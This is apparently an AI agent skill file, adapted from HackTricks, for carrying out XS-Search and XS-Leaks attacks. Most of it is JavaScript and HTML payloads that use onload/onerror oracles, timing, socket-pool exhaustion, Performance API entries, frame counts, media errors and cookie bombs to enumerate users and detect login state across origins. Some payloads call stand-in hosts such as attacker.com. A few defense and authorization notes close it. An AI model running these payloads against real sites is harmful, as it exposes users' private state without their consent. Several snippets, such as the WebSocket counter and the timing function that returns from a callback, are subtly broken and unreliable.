Hacktricks-skills xs-search-leaks

How to perform XS-Search and XS-Leaks attacks to extract cross-origin information through browser side-channel vulnerabilities. Use this skill whenever the user mentions cross-origin attacks, XS-Leaks, XS-Search, side-channel attacks, browser security testing, iframe exploitation, performance API leaks, timing attacks, or wants to enumerate user state across origins. This skill covers event handlers, timing techniques, global limits, performance API exploitation, error message analysis, and readable attribute extraction.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xs-search/xs-search/SKILL.MD
source content

XS-Search/XS-Leaks Attack Framework

A comprehensive guide for performing cross-origin information extraction attacks using browser side-channel vulnerabilities.

When to Use This Skill

Use this skill when you need to:

  • Extract information from cross-origin pages you cannot directly access
  • Enumerate user authentication state across different origins
  • Detect redirects, status codes, or headers from cross-origin resources
  • Perform browser-based side-channel attacks for security testing
  • Understand and exploit XS-Leak vulnerabilities in web applications
  • Test for information leakage through timing, event handlers, or browser APIs

Core Concepts

Attack Components

  1. Vulnerable Web: The target website from which information is extracted
  2. Attacker's Web: Your malicious page hosting the exploit
  3. Inclusion Method: How you incorporate the target (iframe, window.open, fetch, HTML elements)
  4. Leak Technique: How you discern state differences (timing, events, errors, etc.)
  5. States: The two conditions you're trying to distinguish (e.g., logged in vs. logged out)
  6. Detectable Differences: Observable variations you exploit

Detectable Differences You Can Exploit

Difference TypeWhat It Reveals
Status CodeHTTP response codes (200, 404, 403, etc.)
API UsageWhether specific Web APIs are used
RedirectsNavigation to different pages
Page ContentResponse body variations, embedded frame counts, image sizes
HTTP HeadersX-Frame-Options, Content-Disposition, CORP, CORS headers
TimingTime disparities between states

Attack Techniques

1. Event Handler Techniques

Onload/Onerror Oracle

Best for: Status code detection, resource existence checks

<!-- Script-based approach -->
<script>
const script = document.createElement('script');
script.onload = () => console.log('Resource loaded (2xx)');
script.onerror = () => console.log('Resource failed (4xx/5xx)');
script.src = 'https://target.com/secret?user=' + candidate;
</script>

<!-- Scriptless approach -->
<object data="https://target.com/404">
  <object data="https://attacker.com/?error"></object>
</object>

Use when: You need to distinguish between successful and failed resource loads

Content-Type/CORB Script Load Oracle

Best for: Brute-forcing identifiers when response type varies

<script>
const script = document.createElement('script');
script.onload = () => {
  // HTML response - likely a match
  console.log('Match found');
};
script.onerror = () => {
  // JSON response blocked by CORB - no match
  console.log('No match');
};
script.src = `https://target.com/api/user/${candidate}`;
</script>

Use when: Target returns HTML on match vs JSON on mismatch

postMessage vs X-Frame-Options Oracle

Best for: Detecting widget loading with postMessage signals

<iframe id="target" width="0" height="0"></iframe>
<script>
function test(id) {
  target.src = `https://target.com/widget?user=${id}`;
  return new Promise(r => {
    const timeout = setTimeout(() => r(false), 2000);
    window.onmessage = () => {
      clearTimeout(timeout);
      r(true); // Message received = success
    };
  });
}
</script>

Use when: Target widgets emit postMessage on successful load

2. Timing-Based Techniques

Onload Timing

Best for: Measuring network request duration

function measureLoad(url) {
  const start = performance.now();
  const img = new Image();
  img.onload = () => {
    const duration = performance.now() - start;
    console.log(`Load time: ${duration}ms`);
    return duration;
  };
  img.src = url;
}

Use when: Different states have measurably different load times

Sandbox Frame Timing

Best for: Cleaner timing measurements (no JS execution variance)

<iframe id="target" sandbox></iframe>
<script>
const start = performance.now();
target.onload = () => {
  const duration = performance.now() - start;
  console.log(`Sandbox load time: ${duration}ms`);
};
target.src = 'https://target.com/secret';
</script>

Use when: You need timing without JavaScript execution noise

Connection Pool Timing

Best for: Measuring target page load time by blocking sockets

async function connectionPoolTiming(targetUrl) {
  // Block 255 sockets
  const promises = [];
  for (let i = 0; i < 255; i++) {
    promises.push(fetch(`https://blocker${i}.example.com/hold`));
  }
  
  // Load target on 256th socket
  const targetStart = performance.now();
  await fetch(targetUrl);
  const targetDuration = performance.now() - targetStart;
  
  // 257th request waits for socket release
  const waitStart = performance.now();
  await fetch('https://signal.example.com/done');
  const waitDuration = performance.now() - waitStart;
  
  console.log(`Target load: ${targetDuration}ms, Wait: ${waitDuration}ms`);
}

Use when: You need to isolate target page network time

3. Performance API Techniques

Error Leak Detection

Best for: Distinguishing error responses from successful ones

function checkPerformanceEntry(url) {
  const img = new Image();
  img.src = url;
  
  setTimeout(() => {
    const entries = performance.getEntriesByType('resource');
    const found = entries.find(e => e.name.includes(url));
    
    if (!found) {
      console.log('No performance entry = error response');
    } else {
      console.log('Performance entry exists = successful response');
    }
  }, 1000);
}

Use when: Error responses don't create performance entries

X-Frame-Options Detection

Best for: Detecting framing protection headers

function detectXFrameOptions(url) {
  const iframe = document.createElement('iframe');
  iframe.style.display = 'none';
  document.body.appendChild(iframe);
  iframe.src = url;
  
  setTimeout(() => {
    const entries = performance.getEntriesByType('resource');
    const found = entries.find(e => e.name.includes(url));
    
    if (!found) {
      console.log('X-Frame-Options likely present (no entry)');
    } else {
      console.log('No X-Frame-Options blocking');
    }
  }, 1000);
}

Use when: You need to detect framing protection

Redirect Detection

Best for: Detecting if a response is a redirect

async function detectRedirect(url) {
  const response = await fetch(url, { redirect: 'manual' });
  
  if (response.type === 'opaqueredirect') {
    console.log('Redirect detected');
  } else {
    console.log('No redirect');
  }
}

Use when: You need to detect cross-origin redirects

4. Global Limits Techniques

WebSocket Connection Count

Best for: Detecting WebSocket usage on target page

function countWebSockets(targetUrl) {
  const win = window.open(targetUrl);
  
  let exceptions = 0;
  try {
    for (let i = 0; i < 100; i++) {
      new WebSocket('wss://attacker.com/ws');
    }
  } catch (e) {
    exceptions++;
  }
  
  console.log(`Target uses ${exceptions} WebSocket connections`);
  win.close();
}

Use when: You need to detect WebSocket usage patterns

History Length Oracle

Best for: Detecting navigation to specific URLs

async function checkHistoryLength(win, url) {
  const before = win.history.length;
  win.location = url + '#test';
  win.location = 'about:blank';
  await new Promise(r => setTimeout(r, 500));
  const after = win.history.length;
  
  return after > before; // true if URL was correct
}

Use when: You need to verify if a frame/popup is at a specific URL

5. Readable Attributes Techniques

Frame Counting

Best for: Detecting page state through iframe count

function countFrames(win) {
  return win.length; // Number of frames in the window
}

// Monitor for changes
setInterval(() => {
  const count = countFrames(targetWindow);
  console.log(`Frame count: ${count}`);
}, 1000);

Use when: Page state changes the number of embedded frames

Image Dimensions Leak

Best for: Detecting content through image size

function getImageDimensions(url) {
  const img = new Image();
  img.src = url;
  
  img.onload = () => {
    console.log(`Width: ${img.width}, Height: ${img.height}`);
    // Different sizes = different content
  };
}

Use when: Content variations affect image dimensions

CSS Property Leak

Best for: Detecting styling changes based on user state

function detectCSSProperty(url, selector, property) {
  const link = document.createElement('link');
  link.rel = 'stylesheet';
  link.href = url;
  document.head.appendChild(link);
  
  setTimeout(() => {
    const element = document.querySelector(selector);
    const style = window.getComputedStyle(element);
    const value = style.getPropertyValue(property);
    console.log(`${property}: ${value}`);
  }, 1000);
}

Use when: Target changes CSS based on user authentication/state

6. Error Message Techniques

Media Error Status Code Leak

Best for: Firefox status code extraction

function mediaErrorLeak(url) {
  const audio = new Audio();
  audio.src = url;
  
  audio.onerror = () => {
    const err = audio.error;
    const message = err.message;
    
    if (message.includes('DEMUXER_ERROR_COULD_NOT_OPEN') ||
        message.includes('Failed to init decoder')) {
      console.log('Status: Success (2xx)');
    } else {
      console.log('Status: Error (4xx/5xx)');
    }
  };
}

Use when: Testing in Firefox for status code leaks

CORS Error Redirect Leak

Best for: Extracting redirect URLs in Webkit browsers

async function corsRedirectLeak(url) {
  try {
    await fetch(url, { mode: 'cors' });
  } catch (e) {
    // Error message may contain redirect URL
    console.log('CORS error:', e.message);
  }
}

Use when: Target redirects based on user state

Practical Attack Patterns

Pattern 1: User Enumeration via XS-Leaks

async function enumerateUsers(targetUrl, candidates) {
  for (const user of candidates) {
    const start = performance.now();
    const img = new Image();
    
    img.onload = () => {
      const duration = performance.now() - start;
      if (duration < 100) { // Fast = cached/exists
        console.log(`User exists: ${user}`);
      }
    };
    
    img.onerror = () => {
      console.log(`User not found: ${user}`);
    };
    
    img.src = `${targetUrl}/api/user/${user}`;
    await new Promise(r => setTimeout(r, 200));
  }
}

Pattern 2: Authentication State Detection

function detectAuthState(targetUrl) {
  const iframe = document.createElement('iframe');
  iframe.style.display = 'none';
  document.body.appendChild(iframe);
  iframe.src = targetUrl;
  
  setTimeout(() => {
    const entries = performance.getEntriesByType('resource');
    const found = entries.find(e => e.name.includes(targetUrl));
    
    if (found && found.duration > 0) {
      console.log('Likely authenticated (page loaded)');
    } else {
      console.log('Likely not authenticated (redirected/blocked)');
    }
  }, 2000);
}

Pattern 3: Cookie Bomb + XS-Search

function cookieBombXSLeak(targetUrl) {
  // Set large cookies to trigger size-based errors
  for (let i = 0; i < 100; i++) {
    document.cookie = `bomb${i}=${'x'.repeat(4000)}`;
  }
  
  // Load target - if response size + cookies exceeds limit, error occurs
  const img = new Image();
  img.onload = () => console.log('Response small enough');
  img.onerror = () => console.log('Response too large (contains secret)');
  img.src = targetUrl;
}

Defense Recommendations

For Developers

  1. Set proper CORS headers: Don't use
    Access-Control-Allow-Origin: *
    for sensitive endpoints
  2. Implement X-Frame-Options: Use
    DENY
    or
    SAMEORIGIN
    appropriately
  3. Use CORP headers:
    Cross-Origin-Resource-Policy: same-origin
  4. Avoid timing variations: Make responses consistent regardless of state
  5. Validate and sanitize: Prevent injection that enables these attacks
  6. Use COOP:
    Cross-Origin-Opener-Policy: same-origin

For Security Testers

  1. Test multiple browsers: Leaks vary by browser implementation
  2. Combine techniques: Use multiple leak vectors for confirmation
  3. Consider timing noise: Account for network variance in timing attacks
  4. Document findings: Track which techniques work on which targets
  5. Respect scope: Only test authorized targets

References

Important Notes

  • Legal: Only perform these attacks on systems you have explicit authorization to test
  • Browser Variations: Techniques work differently across Chrome, Firefox, Safari
  • Mitigations: Modern browsers are actively reducing these attack surfaces
  • Noise: Timing attacks require statistical analysis to overcome variance
  • Ethics: Use these techniques responsibly for security research and authorized testing only